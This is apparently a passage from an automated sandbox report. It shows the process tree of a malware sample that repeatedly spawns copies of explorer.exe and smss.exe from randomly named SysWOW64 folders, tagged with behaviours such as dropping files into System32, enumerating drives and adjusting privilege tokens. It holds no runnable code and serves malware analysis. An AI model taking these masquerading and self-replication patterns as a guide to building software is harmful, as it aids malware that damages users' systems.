-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe11⤵PID:2988
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵PID:11156
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:12372
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:14280
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15772
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe10⤵PID:9392
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe11⤵PID:10084
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵PID:11268
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:12592
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:14160
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15548
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:17456
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:19744
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe9⤵PID:8768
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe10⤵PID:9416
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe11⤵PID:10372
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵PID:11420
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:12704
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:5460
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15744
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe8⤵PID:7680
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe9⤵PID:8840
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe10⤵PID:9488
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe11⤵PID:10336
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵PID:11380
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:12736
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:14312
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15780
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe7⤵
- Enumerates connected drives
- Drops file in System32 directory
PID:7616 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe8⤵PID:7744
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe9⤵PID:8848
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe10⤵PID:9500
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe11⤵PID:10348
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵PID:11392
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:12636
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:13380
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15996
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:17740
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe5⤵
- Executes dropped EXE
- Enumerates connected drives
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
PID:3208 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5028 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4900 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe8⤵
- Executes dropped EXE
- Enumerates connected drives
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
PID:2744 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe9⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4508 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe10⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1336 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe11⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2352 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵
- Drops file in System32 directory
PID:4636 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵
- Drops file in System32 directory
PID:5132 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:5504
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:5844
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵
- Enumerates connected drives
PID:5308 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵
- Drops file in System32 directory
PID:6112 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe18⤵PID:6288
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe19⤵PID:6760
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe20⤵
- Drops file in System32 directory
PID:6576 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe21⤵PID:7284
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe22⤵PID:7996
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe23⤵PID:8340
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe24⤵PID:8372
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe25⤵PID:9888
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe26⤵PID:10736
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe27⤵PID:11848
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe28⤵PID:13180
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe29⤵PID:14456
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe30⤵PID:16180
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe18⤵PID:20448
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe17⤵PID:5924
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe18⤵PID:20524
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe15⤵PID:15176
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:16984
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:19168
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe14⤵PID:13704
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15208
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:16884
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:18892
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe13⤵PID:5248
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:13788
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15292
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:16952
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:19364
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe12⤵PID:11036
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:12404
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:13988
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:6016
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe11⤵PID:10112
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵PID:1088
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:12268
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:13900
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15420
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe10⤵PID:8220
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe11⤵PID:10080
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵PID:10996
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:5164
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:13736
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15332
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:17324
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:19464
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe9⤵PID:8656
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe10⤵PID:9264
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe11⤵PID:10156
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵PID:11076
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:5284
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:13912
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15300
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe8⤵PID:7580
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe9⤵PID:8748
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe10⤵PID:9376
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe11⤵PID:10428
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵PID:11624
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:12988
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:14372
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:6100
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe7⤵PID:7584
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe8⤵
- Enumerates connected drives
PID:3128 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe9⤵PID:8820
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe10⤵PID:9448
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe11⤵PID:10476
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵PID:11532
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:12880
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:14572
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:16492
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:18848
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe6⤵
- Drops file in System32 directory
PID:4460 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe7⤵PID:7640
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe8⤵
- Enumerates connected drives
PID:7948 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe9⤵PID:8900
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe10⤵PID:9552
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe11⤵PID:10552
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵PID:11632
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:12968
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:13868
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15964
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe4⤵
- Executes dropped EXE
- Enumerates connected drives
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
PID:2640 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3752 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:64 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3016 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4584 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe9⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:944 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe10⤵
- Executes dropped EXE
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
PID:4136 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe11⤵
- Enumerates connected drives
- Drops file in System32 directory
PID:1720 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵PID:1960
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵
- Enumerates connected drives
PID:5200 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:5596
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵
- Drops file in System32 directory
PID:5944 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵
- Drops file in System32 directory
PID:5464 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵
- Enumerates connected drives
PID:5712 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe18⤵PID:6372
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe19⤵PID:6816
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe20⤵
- Enumerates connected drives
PID:6896 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe21⤵PID:7340
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe22⤵PID:8048
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe23⤵PID:8380
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe24⤵PID:4324
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe25⤵PID:10024
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe26⤵PID:10876
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe27⤵PID:11900
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe28⤵PID:13192
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe29⤵PID:14448
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe30⤵PID:16124
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe31⤵PID:18076
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe32⤵PID:20348
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe17⤵PID:18628
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe16⤵PID:16836
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:18884
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe15⤵PID:5780
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:17056
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:19200
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe14⤵PID:13840
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:5876
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:17252
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:19736
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe13⤵PID:12360
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:13936
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:5976
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe12⤵PID:3148
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:12524
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:14256
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15664
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe11⤵PID:1860
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵PID:10980
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:12544
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:5532
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15828
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:17668
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:20116
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe10⤵PID:9312
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe11⤵PID:10212
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵PID:11108
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:12388
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:14012
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15428
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe9⤵PID:8700
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe10⤵PID:9352
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe11⤵PID:10304
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵PID:11328
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:12580
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:14192
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15676
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe8⤵PID:1232
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe9⤵PID:8672
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe10⤵PID:9272
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe11⤵PID:10196
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵PID:11208
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:12488
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:14220
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15620
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe7⤵
- Drops file in System32 directory
PID:7572 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe8⤵
- Enumerates connected drives
PID:4496 -
